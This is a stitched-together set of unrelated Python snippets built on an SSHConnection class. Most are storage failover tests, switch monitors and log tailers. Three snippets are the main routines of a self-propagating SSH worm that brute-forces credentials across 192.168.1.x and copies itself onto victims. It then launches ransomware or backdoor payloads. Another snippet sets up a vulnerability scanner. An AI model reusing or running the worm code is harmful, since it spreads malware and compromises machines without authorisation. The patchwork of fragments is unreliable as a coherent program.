def main(): filename = os.path.abspath(__file__) log = Logging.getLogger(filename, 'Ungracefull_VSM_Migration') try: user = const.node_username pwd = const.node_password host2 = const.Node2_IP vsm_ip = const.VSM1Ip SSH = SSHConnection() time.sleep(10) out1 = SSH.cbdpctl_Migration(user, pwd, host2, vsm_ip) print out1 bytestransfered = out1[1] time.sleep(60) out2 = SSH.cbdpctl_Migration(user, pwd, host2, vsm_ip) print out2 cstatus = out2[0] cbytestransfered = out2[1] if cstatus == "transferring" or int(cbytestransfered) > int( bytestransfered): print "Pass: VSM Migration transfer resumed successfully" log.info("Pass: VSM Migration transfer resumed successfully") elif cstatus == "uptodate": print "Pass: VSM migration transfer resumed and completed successfully" log.info( "Pass: VSM migration transfer resumed and completed successfully" ) else: print "Fail: VSM Migration resume failed" log.error("Fail: VSM Migration resume failed") except Exception as e: log.error("Exception:TC: Verify ungracefull_VSM_MIgration", str(e))
def __init__(self, switch_description): log_namespace = "Monitor.Switch" + switch_description["model"] + 'CLI' self.logger = logging.getLogger(log_namespace) self.log_id = "Switch" + switch_description[ "model"] + ":" + switch_description["ip"] + ": " SSHConnection.__init__(self, switch_description["ip"], switch_description["user"], switch_description["password"], switch_description["cli_name"], log_namespace) self.OF_INSTANCE = switch_description["openflow_instance_name"] self.connect() self.COMMAND_SHOW_CPU = "display cpu-usage" self.COMMAND_RESET_OPENFLOW = [ "openflow instance " + self.OF_INSTANCE, "undo active instance", "active instance", "quit" ] self.COMMAND_GET_FLOWS_COUNT = "display openflow instance " + str( self.OF_INSTANCE) self.ENABLE_EXTENSIBILITY_TABLE = [ "openflow instance " + self.OF_INSTANCE, "undo active instance", "flow-table extensibility 20", "active instance", "quit" ] self.ENABLE_MACIP_TABLE = [ "openflow instance " + self.OF_INSTANCE, "undo active instance", "flow-table mac-ip 10", "active instance", "quit" ] self.executeCommand(["system-view"])
def main(): filename = os.path.abspath(__file__) log = Logging.getLogger(filename, 'ActivateDR') log.info("Test ActivateDR begins") try: GUI = WebUtils() Url = const.url password = const.password username = const.username GUI.login_EC(Url, username, password) time.sleep(5) GUI.HA_Maintenance(1, "Maintenance") time.sleep(20) t = SSHConnection() user = const.node_username pwd = const.node_password host = const.Node1_IP vsm_ip = const.VSM1Ip out = t.cbdpctl_status(user, pwd, host, vsm_ip) if out[0] == "uptodate": GUI.Activate_DR(const.BackupVSMIP) time.sleep(2) GUI.close_browser() else: log.error("DR transfer is not uptodate") except Exception as e: log.error("Exception: TC: ActivateDR"), str(e)
def ssh_connect_to(hostname, username, password, port=22, timeout=60, prompt=""): """ Login to remote ssh server """ ssh = SSHConnection(hostname, username, password, port, timeout, prompt) ssh.login() return ssh
def config_two_switch(device): conn_device = SSHConnection(device.hostname, device.username, device.password) #conn_device_connect = conn_device.establish_connection() #conn_device_connect.send('show version\n') #time.sleep(1) #output = conn_device_connect.recv(1000) conn_device.determine_device_type() output = conn_device.send_command('show version') print output
class exe_dialog(QDialog): def __init__(self,username,hostname,password): super().__init__() self.resize(280,40) self.setWindowTitle("正在运行") self.tip = QLabel("程序正在进行...请不要关闭此窗口",self) self.show() self.exe(username,hostname,password) def exe(self,username, hostname, password): self.conn = SSHConnection(username, hostname, password) self.conn.exec_command('python3 /home/pi/Project/data_create.py')
def __init__(self, switch_description): log_namespace = "Monitor.Switch"+switch_description["model"]+'CLI' self.logger = logging.getLogger(log_namespace) self.log_id = "Switch"+switch_description["model"]+":"+switch_description["ip"]+": " SSHConnection.__init__(self,switch_description["ip"],switch_description["user"], switch_description["password"],switch_description["cli_name"],log_namespace) self.OF_INSTANCE = switch_description["openflow_instance_name"] self.connect() self.COMMAND_SHOW_CPU = "display cpu-usage" self.COMMAND_RESET_OPENFLOW = ["openflow instance "+self.OF_INSTANCE, "undo active instance", "active instance", "quit"] self.COMMAND_GET_FLOWS_COUNT = "display openflow instance "+str(self.OF_INSTANCE) self.ENABLE_EXTENSIBILITY_TABLE = ["openflow instance "+self.OF_INSTANCE, "undo active instance", "flow-table extensibility 20", "active instance", "quit"] self.ENABLE_MACIP_TABLE = ["openflow instance "+self.OF_INSTANCE, "undo active instance", "flow-table mac-ip 10", "active instance", "quit"] self.executeCommand(["system-view"])
def executeCommand(host, command, hostname): c = SSHConnection(host,"root","") response = c.connectWithoutPass("/usr/share/controlies-ltspserver/.ssh/id_rsa") try: WS.websocket_send('http://ldap:8888','<span style="font-size:14pt;">'+hostname+'</span> > <span style="font-size:10pt;">'+command+'</span><br>','mykey','mygroup') except: #return dict(response="fail", host=host, message="No se pudo conectar con el servidor websocket.<br/>") print "no_websocket" sys.exit(0) if response != True: print "no_ssh" sys.exit(0) #return dict(response="fail", host=host, message="No se pudo conectar. ¿Está encendido el equipo? ¿Has establecido la relación de confianza?<br/>") channel = c.exec_command(command) import select while True: if channel.exit_status_ready(): break rl, wl, xl = select.select([channel], [], [], 0.0) if len(rl) > 0: stdout_data = [] try: part = channel.recv(4096) while part: stdout_data.append(part) part = channel.recv(4096) except: raise complete = ''.join(stdout_data) n = 500 pieces = [complete[i:i+n] for i in range(0, len(complete), n)] HTML_PARSER = ansi2html() for i in pieces: html = HTML_PARSER.parse(i) try: WS.websocket_send('http://ldap:8888',html,'mykey','mygroup') except: pass channel.close() c.close()
def __init__(self, switch_description): log_namespace = "Monitor.Switch"+switch_description["model"]+'CLI' self.logger = logging.getLogger(log_namespace) self.log_id = "Switch"+switch_description["model"]+":"+switch_description["ip"]+": " SSHConnection.__init__(self,switch_description["ip"],switch_description["user"], switch_description["password"],switch_description["cli_name"], log_namespace) self.OF_INSTANCE = switch_description["openflow_instance_name"] self.connect() self.COMMAND_SHOW_CPU = "show cpu 5" self.SF_RATE_LIMIT = 10 self.COMMAND_RESET_OPENFLOW = ["config", "openflow disable", "openflow enable", "exit"] self.COMMAND_DISABLE_OPENFLOW_INSTANCE = ["config", "openflow disable", "openflow instance "+self.OF_INSTANCE+" disable", "exit"] self.COMMAND_GET_FLOWS_COUNT = "show openflow" self.getFlowsCountOverCLI() self.updateCPU()
def main(): Url = const.url password = const.password username = const.username filename = os.path.abspath(__file__) log = Logging.getLogger(filename, 'UngracefullHA_DR') try: user = const.node_username pwd = const.node_password host2 = const.Node2_IP vsm_ip = const.VSM1Ip SSH = SSHConnection() time.sleep(130) out1 = SSH.cbdpctl_status(user, pwd, host2, vsm_ip) print out1 bytestransfered = out1[1] time.sleep(50) out2 = SSH.cbdpctl_status(user, pwd, host2, vsm_ip) print out2 cstatus = out2[0] cbytestransfered = out2[1] if cstatus == "transferring" and int(cbytestransfered) > int( bytestransfered): print "Pass: DR transfer resumed successfully" log.info("Pass: DR transfer resumed successfully") elif cstatus == "uptodate": print "Pass: DR resumed and completed successfully" log.info("Pass: DR resumed and completed successfully") else: print "Fail: DR resume failed" log.error("Fail: DR resume failed") time.sleep(60) GUI = WebUtils() GUI.login_EC(Url, username, password) GUI.HA_Maintenance(1, "Maintenance") if True: log.info("Moved Node to available state") else: log.warning("Move the Node to available state") except Exception as e: log.error("Exception:TC: Verify ungracefullDR"), str(e)
def main(): vsmip = const.VSM1Ip clientip = const.hostIP filename = os.path.abspath(__file__) log = Logging.getLogger(filename, 'RunIO') try: log.info("Test RunIO begins") ssh = SSHConnection() ssh.createSSHConnection(clientip, username="******", password="******") time.sleep(2) #ssh.exec_cmd("umount 16.10.31.200:/CBUserNFSVol1") time.sleep(2) cmd = "python IORunner.py --vsms_ip %s" % vsmip print "Running IO" print "Waiting for IO to finish....." out = ssh.exec_cmd(cmd) if "Vdbench execution completed successfully" in out: log.info("IO ran successfully") else: log.error("IO error") except Exception as e: log.error("Exception Occured:TC: RunIO"), str(e)
def main(): Url = const.url password = const.password username = const.username filename = os.path.abspath(__file__) log = Logging.getLogger(filename, 'Ungracefull_VSM_Migration') try: log.info("Test UngracefullHA_VSM_Migration begins") GUI = WebUtils() #GUI.Enable_Flash() GUI.login_EC(Url, username, password) time.sleep(5) try: GUI.Create_MigrantVSM(bkp_ip=const.BKPIP) except Exception as j: print "Error: Exception occure while creating VSM Migration", str( j) raise time.sleep(20) GUI.close_browser() print "Waiting till schedule duration for migrant transfer to begin" log.info("Waiting till schedule duration formigrant transfer to begin") user = const.node_username pwd = const.node_password host1 = const.Node1_IP vsm_ip = const.VSM1Ip time.sleep(80) SSH = SSHConnection() output = SSH.cbdpctl_Migration(user, pwd, host1, vsm_ip) print output if output[0] == "transferring": try: SSH.createSSHConnection(host1, user, pwd) time.sleep(2) SSH.exec_cmd("reboot > /dev/null &") if True: print "Rebooting Node1" log.info("Rebooting Node for ungracefull HA") else: print "Failed to Reboot Node1" log.error("Failed to Reboot Node") except Exception as f: print "Error: SSH Connection ", str(f) raise else: print "Fail:Migrant transfer did not started after schedule duration" log.error( "Fail:Migrant transfer did not started after schedule duration" ) except Exception as e: print "Exception Occured:TC: UngracefullHA_VSM_Migration", str(e) log.error("Exception Occured:TC: UngracefullHA_VSM_Migration")
def executeCommand(host, command, hostname): c = SSHConnection(host, "root", "") response = c.connectWithoutPass( "/usr/share/controlies-ltspserver/.ssh/id_rsa") try: WS.websocket_send( 'http://ldap:8888', '<span style="font-size:14pt;">' + hostname + '</span> > <span style="font-size:10pt;">' + command + '</span><br>', 'mykey', 'mygroup') except: #return dict(response="fail", host=host, message="No se pudo conectar con el servidor websocket.<br/>") print "no_websocket" sys.exit(0) if response != True: print "no_ssh" sys.exit(0) #return dict(response="fail", host=host, message="No se pudo conectar. ¿Está encendido el equipo? ¿Has establecido la relación de confianza?<br/>") channel = c.exec_command(command) import select while True: if channel.exit_status_ready(): break rl, wl, xl = select.select([channel], [], [], 0.0) if len(rl) > 0: stdout_data = [] try: part = channel.recv(4096) while part: stdout_data.append(part) part = channel.recv(4096) except: raise complete = ''.join(stdout_data) n = 500 pieces = [complete[i:i + n] for i in range(0, len(complete), n)] HTML_PARSER = ansi2html() for i in pieces: html = HTML_PARSER.parse(i) try: WS.websocket_send('http://ldap:8888', html, 'mykey', 'mygroup') except: pass channel.close() c.close()
def main(): Url = const.url password = const.password username = const.username filename = os.path.abspath(__file__) log = Logging.getLogger(filename, 'Migration_enable_disable') try: log.info("Test Resumability_Migration begins") GUI = WebUtils() #GUI.Enable_Flash() GUI.login_EC(Url, username, password) try: GUI.Create_MigrantVSM(bkp_ip=const.BKPIP) except Exception as j: print "Error: Exception occure while creating Migration", str(j) sys.exit(1) time.sleep(60) print "Waiting till schedule duration for Migration to begin" log.info("Waiting till schedule duration for Migration to begin") time.sleep(10) user = const.node_username pwd = const.node_password host1 = const.Node1_IP vsm_ip = const.VSM1Ip SSH = SSHConnection() output = SSH.cbdpctl_Migration(user,pwd,host1,vsm_ip) print output if output[0] == "transferring": try: GUI.Migration_Enable_Disable("Disable") log.info("Migration transfer disabled successfully") time.sleep(30) t = SSHConnection() t.createSSHConnection(host=host1, username=user, password=pwd) time.sleep(5) out = t.exec_cmd("jls") out1 = out.split() if vsm_ip in out1: jls = out1.index(vsm_ip) jls_id = int(out1[jls - 1]) time.sleep(20) output = t.exec_cmd("jexec %s cbdpctl -c list" % jls_id) if not output: log.info("Pass: Verified that Migration transfer did not continued after disabling transfer") else: log.error("Fail: Migration transfer is still in-progress") t.close() except Exception as z: log.error("Error: Exception occured while disabling transfer"), str(z) raise try: time.sleep(10) log.info("Enabling Migration transfer to verify resumability") GUI.Migration_Enable_Disable("Enable") log.info("Migration transfer enabled successfully") except Exception as f: log.error("Error: Exception occured while enabling transfer"), str(f) raise time.sleep(50) out1 = SSH.cbdpctl_Migration(user,pwd,host1,vsm_ip) bytestransfered = out1[1] time.sleep(30) out2 = SSH.cbdpctl_Migration(user,pwd,host1,vsm_ip) cstatus = out2[0] cbytestransfered = out2[1] if cstatus == "transferring" and int(cbytestransfered) > int(bytestransfered): log.info("Pass: Migration transfer resumed successfully") elif cstatus == "uptodate": log.info("Pass: Migration resumed and completed successfully") else: log.error("Fail: Migration resume failed") time.sleep(2) elif output[0] == "uptodate": log.info("Base snapshot transfered") else: log.info("Failed to get DR status, please recheck") time.sleep(5) try: GUI.Migration_Enable_Disable("Disable") print "Migrant transfer disabled successfully" time.sleep(10) GUI.deleteMigrantVSM() print "Migrant VSM deleted sucessfully" time.sleep(2) GUI.close_browser() except Exception as fi: print "Error: While deleting Migrant VSM ", str(fi) raise except Exception as e: log.error("Exception Occured: While logging into EC") print str(e) sys.exit(1)
def main(): """ Main function that does all the heavy lifting. See usage details above """ worm = SSHConnection() # # # Arguments Reference # # # # # # # # # # # # # # # # # # # # # # current_script = sys.argv[0] # local_attacker = sys.argv[1] or empty for standard replication # marker_file = sys.argv[2] # username_file = sys.argv[3] # password_file = sys.argv[4] # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # files = [] for filename in sys.argv: files.append(filename) files.append("SSHConnection.py") # Runnning ansomware worm if files[1] == "local_ransom.py": worm.marker_file = "ransom_marker.txt" worm.set_username_file(files[2]) worm.set_password_file(files[3]) worm.set_worm_file("local_ransom.py") malicious_file = files[1] message = "Help plz I need money to feed my cats :( \n" # Running backdoo worm elif files[1] == "local_backdoor.py": worm.marker_file = "backdoor_marker.txt" worm.set_username_file(files[2]) worm.set_password_file(files[3]) worm.set_worm_file("local_backdoor.py") malicious_file = files[1] message = "This is a super imporant file that under no circumstances should you delete\n" # Running standad replicator worm elif files[1] == "usernames.txt": worm.marker_file = "replicator_marker.txt" worm.set_username_file(files[1]) worm.set_password_file(files[2]) #worm.worm_file = "replicator.py" worm.set_worm_file("replicator.py") malicious_file = "replicator.py " + worm.username_file + " " + worm.password_file message = "Your security is bad and you should feel bad\n" else: print "Bad input file" return #files.append(worm.marker_file) # Create worm instance and search first 10 ips on the network worm.retrieve_vulnerable_hosts("192.168.1.", 10) # Set the file the worm will look for on the target system if worm.find_target_host(): # Found an unmarked host, copy the files over to it. worm.set_target_dir("/home/" + worm.username + "/") #with open(worm.marker_file, "w") as marker: # marker.write(message) for filename in files: transfer_file(worm, filename) print "[+] Completed! Launching local attack now..." # Optinal command to add infector's ip to the marker file #worm.ssh_connection.exec_command("echo " + get_local_ip() + " >> " + worm.marker_file) worm.ssh_connection.exec_command("touch " + worm.marker_file) worm.ssh_connection.exec_command("echo \"" + message + "\" >> " + worm.marker_file) launch_attack(worm, malicious_file) else: # Either no hosts found, or they all had the marker file on their system print " :( No target found, better get a job!"
def main(): Url = const.url password = const.password username = const.username filename = os.path.abspath(__file__) log = Logging.getLogger(filename, 'Networkloss_DR') try: log.info("Testing resumability incase of networkloss") GUI = WebUtils() GUI.Enable_Flash() GUI.login_EC(Url, username, password) try: GUI.Create_DR(name=const.DRName, bkp_ip=const.BKPIP) print "DR created successfully" except Exception as j: print "Error: Exception occure while creating DR", str(j) time.sleep(20) print "Waiting till schedule duration for DR to begin" GUI.close_browser() time.sleep(80) user = const.node_username pwd = const.node_password host1 = const.Node1_IP vsm_ip = const.VSM1Ip SSH = SSHConnection() output = SSH.cbdpctl_status(user, pwd, host1, vsm_ip) print output if output[0] == "Transferring": try: interface = const.interface t1 = SSHConnection() t1.createSSHConnection(host1, user, pwd) time.sleep(5) t1.exec_cmd("ifconfig %s down" % interface) bkpip = const.BKPIP response = pyping.ping(bkpip) if response.ret_code == 0: print("reachable") log.error("Unable to bring down data network") else: print("data network is down") log.info("Data network is down") time.sleep(30) output = t1.cbdpctl_status(user, pwd, host1, vsm_ip) if output: print "Fail: DR transfer is still running after Data N/W loss" log.error( "Fail: DR transfer is still running after Data N/W loss" ) except Exception as z: print "Pass: DR transfer did not continue after Data N/W loss" log.info( "Pass: DR transfer did not continue after Data N/W loss") try: time.sleep(20) print "Making vlan interface Up" log.info("Making vlan interface up") interface = const.interface t1 = SSHConnection() t1.createSSHConnection(host1, user, pwd) time.sleep(5) t1.exec_cmd("ifconfig %s up" % interface) print "vlan network is up" time.sleep(60) output = t1.cbdpctl_status(user, pwd, host1, vsm_ip) if output: print "pass: DR transfer is continuied after making nw interface ip" log.info( "pass: DR transfer is continuied after making nw interface ip" ) time.sleep(5) try: GUI.DR_Enable_Disable("Disable") print "DR transfer disabled successfully" time.sleep(10) GUI.deleteDR() print "DR VSM deleted sucessfully" time.sleep(2) GUI.close_browser() except Exception as fi: print "Error: While deleting DR VSM " print str(fi) raise except Exception as z: print "fail: DR transfer did not continue after Data N/W UP", str( z) log.error( "fail: DR transfer did not continue after Data N/W UP") except Exception as e: print "Exception Occured: While logging into EC", str(e)
def main(): """ Main function that does all the heavy lifting. Very similar to replicator """ malicious_file = "local_attack.py" marker_file = "ransom_marker.txt" # Grab files with usernames and passwords parser = argparse.ArgumentParser() parser.add_argument("usernames", nargs=1, help="File of usernames to try", type=str) parser.add_argument("passwords", nargs=1, help="File of passwords to try", type=str) args = parser.parse_args() worm = SSHConnection() # Consider changing this to allow files in other directories to be used ? username_file = os.path.basename(args.usernames[0]) password_file = os.path.basename(args.passwords[0]) worm.set_files([malicious_file, username_file, password_file]) # Create worm instance and search first 10 ips on the network worm.retrieve_vulnerable_hosts("192.168.1.", 10) # Set the file the worm will look for on the target system worm.set_worm_file(marker_file) if worm.find_target_host(): # ound an unmarked host, copy the iles over to it. worm.set_target_dir("/home/" + worm.username + "/") transfer_file(worm, malicious_file) transfer_file(worm, __file__) transfer_file(worm, "SSHConnection.py") transfer_file(worm, username_file) transfer_file(worm, password_file) print ("[+] Completed! Launching local attack now...") worm.ssh_connection.exec_command("echo " + get_local_ip() + " >> " + marker_file) launch_attack(worm, malicious_file) else: print (" :( No target found, better get a job! ")
def main(): """ User must specify the username and password file when they run the worm. These files will travel with the worm in its adventure across the network. Additionlly, the SSHConnection file will also travel with the worm, joining the fellowship of the worms. """ parser = argparse.ArgumentParser() parser.add_argument("usernames", nargs=1, help="File of usernames to try", type=str) parser.add_argument("passwords", nargs=1, help="File of passwords to try", type=str) args = parser.parse_args() username_file = os.path.basename(args.usernames[0]) password_file = os.path.basename(args.passwords[0]) # Create Instance of the SSH class worm = SSHConnection() # Set locations to place on victim system worm_file = os.path.basename(__file__) host_dir = os.path.dirname("") #__file__) if len(host_dir) > 0: host_dir = host_dir + "/" worm.set_host_dir(host_dir) # Sets target directory to be same as one as where it was launched worm.set_files([worm_file, username_file, password_file]) worm.retrieve_vulnerable_hosts("192.168.1.", 10) # Find a target to infect, checks to make sure target hasn't previously been infected if worm.find_target_host(): worm.set_target_dir("/home/" + worm.username + "/") # Mark target system worm.place_worm() # Start attack from new system worm.start_attack() else: with open("/tmp/no_found_hosts.txt", "w") as no_hosts: no_hosts.write("no hosts found") return
parser.add_argument( "-ports", dest="ports", help= "Please, specify the target port(s) separated by comma[80,8080 by default]", default="80,8080") parser.add_argument("-proxy", dest="proxy", help="Proxy[IP:PORT]", required=None) parsed_args = parser.parse_args() # shodanSearch = ShodanSearch() dnsResolver = UtilDNS() sshConnection = SSHConnection() checker = Checker() scraping = Scraping() scanningNMAP = ScanningNMAP() infoLocation = InfoLocation() httpScan = HTTPScan() checkOpenSslVulnerable = CheckOpenSslVulnerable() checkFtpVulnerable = CheckFTPVulnerable() extractMails = ExtractMails() checkVuln_SQL_XSS_LFI = CheckVuln_SQL_XSS_LFI() scannerScapy = ScannerScapy() #default port list ip = "" hostname = "-"
def main(): Url = const.url password = const.password username = const.username filename = os.path.abspath(__file__) log = Logging.getLogger(filename, 'HA_DR') try: log.info("Testing resumability incase of gracefull HA") GUI = WebUtils() GUI.Enable_Flash() GUI.login_EC(Url, username, password) try: GUI.Create_DR(name=const.DRName, bkp_ip=const.BKPIP) print "DR created successfully" except Exception as j: print "Error: Exception occure while creating DR", str(j) time.sleep(20) print "Waiting till schedule duration for DR to begin" user = const.node_username pwd = const.node_password host1 = const.Node1_IP host2 = const.Node2_IP vsm_ip = const.VSM1Ip time.sleep(90) SSH = SSHConnection() output = SSH.cbdpctl_status(user,pwd,host1,vsm_ip) #print output if output[0] == "transferring": try: GUI.HA_Maintenance(1, "Available") time.sleep(30) output = GUI.Maintenance_table_info() if not "...Error" in output[1]: print "Moved Node to maintenance Successfully" log.info("Moved Node to maintenance Successfully") else: print "Error in moving to maintenance" except Exception as f: print "Error: While moving node to maintenance ", str(f) log.error("Error: While moving node to maintenance") raise time.sleep(30) out1 = SSH.cbdpctl_status(user,pwd,host2,vsm_ip) print out1 bytestransfered = out1[1] completed = out1[2] time.sleep(100) out2 = SSH.cbdpctl_status(user,pwd,host2,vsm_ip) print out2 cstatus = out2[0] cbytestransfered = out2[1] ccompleted = out2[2] if cstatus == "transferring" and int(cbytestransfered) > int(bytestransfered): print "Pass: DR transfer resumed successfully" log.info("Pass: DR transfer resumed successfully") elif cstatus == "uptodate": print "Pass: DR resumed and completed successfully" log.info("Pass: DR transfer resumed successfully") else: print "Fail: DR resume failed" log.error("Fail: DR resume failed") time.sleep(2) GUI.HA_Maintenance(1, "Maintenance") if True: print "Node moved back to Available successfully" log.info("Node moved back to Available successfully") except Exception as e: print "Exception Occured: While logging into EC", str(e)
def exe(self,username, hostname, password): self.conn = SSHConnection(username, hostname, password) self.conn.exec_command('python3 /home/pi/Project/data_create.py')
def process(self): locations = self._plugin.get("config", "location") locations = locations.split(',') logger.info("*******************") #REMOTE???? # first check if file exists #for location in locations: # self.check_file_path(location) # compile the list of regexp unsorted_rules = self._plugin.rules() keys = unsorted_rules.keys() keys.sort() for key in keys: item = unsorted_rules[key] self.rules.append(RuleMatch(key, item, self._plugin)) conns = [] host = self._plugin.get("config", "host") user = self._plugin.get("config", "user") passwd = self._plugin.get("config", "passwd") conn = SSHConnection(host, 22, user, passwd) res = conn.connect() if res == False: print "Error connecting to %s for remote logging" % host self.stop_processing == False else: print "Connected to %s" % host conns.append(conn) while not self.stop_processing: # is plugin enabled? if not self._plugin.getboolean("config", "enable"): # wait until plugin is enabled while not self._plugin.getboolean("config", "enable"): time.sleep(1) # plugin is now enabled, skip events generated on # 'disable' state, so move to the end of file self._thresholding() for c in conns: # stop processing tails if requested if self.stop_processing: break transport = c.client.get_transport() channel = transport.open_session() if self._plugin.getboolean("config", "readAll"): cmd = "tail -f -n 10000000000000000000 %s" % locations[0] else: cmd = "tail -f -n 0 %s" % locations[0] print cmd channel.exec_command(cmd) tmp_data = "" while True: if self.stop_processing: break rl, wl, xl = select.select([channel], [], [], 0.0) if len(rl) > 0: data = tmp_data + channel.recv(1024) data = data.split("\n") tmp_data = data[len(data) - 1] for d in data: matches = 0 rules = 0 if self.stop_processing: break for rule in self.rules: rules += 1 rule.feed(d) if rule.match(): matches += 1 logger.debug('Match rule: [%s] -> %s' % (rule.name, d)) event = rule.generate_event() if event is not None: self.send_message(event) break time.sleep(0.1) for c in conns: c.client.close() logger.debug("Processing completed.")
def process(self): locations = self._plugin.get("config", "location") locations = locations.split(',') #REMOTE???? # first check if file exists #for location in locations: # self.check_file_path(location) # compile the list of regexp unsorted_rules = self._plugin.rules() keys = unsorted_rules.keys() keys.sort() for key in keys: item = unsorted_rules[key] self.rules.append(RuleMatch(key, item, self._plugin)) conns = [] host = self._plugin.get("config", "host") user = self._plugin.get("config", "user") passwd = self._plugin.get("config", "passwd") conn = SSHConnection(host, 22, user, passwd) connected = False while not connected: connected = conn.connect() if not connected: logger.info("Error connecting to %s for remote logging, retry in 30 seconds." % host) time.sleep(30) logger.info("Connected to %s" % host) conns.append(conn) while not self.stop_processing: # is plugin enabled? if not self._plugin.getboolean("config", "enable"): # wait until plugin is enabled while not self._plugin.getboolean("config", "enable"): time.sleep(1) # plugin is now enabled, skip events generated on # 'disable' state, so move to the end of file self._thresholding() for c in conns: # stop processing tails if requested if self.stop_processing: break transport = c.client.get_transport() channel = transport.open_session() if self._plugin.getboolean("config", "readAll"): cmd = "tail -f -n 10000000000000000000 %s" % locations[0] else: cmd = "tail -f -n 0 %s" % locations[0] channel.exec_command(cmd) tmp_data = "" while True: if self.stop_processing: break rl, wl, xl = select.select([channel],[],[],0.0) if len(rl) > 0: data = tmp_data + channel.recv(1024) data = data.split("\n") tmp_data = data[len(data)-1] for d in data: matches = 0 rules = 0 if self.stop_processing: break for rule in self.rules: rules += 1 rule.feed(d) if rule.match(): matches += 1 logger.debug('Match rule: [%s] -> %s' % (rule.name, d)) event = rule.generate_event() if event is not None: self.send_message(event) break time.sleep(0.1) for c in conns: c.closeConnection() logger.debug("Processing completed.")
def Command5_Cmd(self, event=None): # showinfo("连接","敬请期待!") self.conn = SSHConnection(self.sshText[0].get(0.0, END), 22, 'titan', self.sshText[1].get(0.0, END), self) pass
</Extension> </Layer> </LayerList> </ViewContext>""" print 'WMC changes are :' print url_geoserver print layer1 print layer2 path = '/var/local/wmc/' os.system('mkdir -p '+path) with open(r'/var/local/wmc/'+layer1+'.wmc', "w") as f: f.write(wmc_file) os.system('chmod 777 '+path+layer1+'.wmc') host = "bvservice.fr" username = "******" pw = "password" origin = path+layer1+'.wmc' dst = '/var/www/georchestra/htdocs/context/wmc/'+layer1 +'.wmc' ssh = SSHConnection(host, username, pw) ssh.put(origin, dst) ssh.close() print "Done"